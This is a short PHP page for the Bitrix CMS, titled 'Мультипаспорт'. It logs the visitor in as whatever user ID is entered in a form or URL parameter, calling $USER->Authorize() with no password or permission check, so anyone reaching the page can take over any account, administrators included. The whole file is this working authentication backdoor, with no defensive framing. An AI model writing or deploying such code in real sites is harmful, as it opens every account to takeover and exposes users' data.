Мультипаспорт

<?
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/header.php");
 
if($_GET['userID']){
        $_GET['userID'] = intval($_GET['userID']);
        global $USER;
        $USER->Authorize($_GET['userID']);
}
?>
 
 
<form method='GET'>
<input type="text" name="userID">
<button type="submit">Enter</button>
</form>
 
 
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>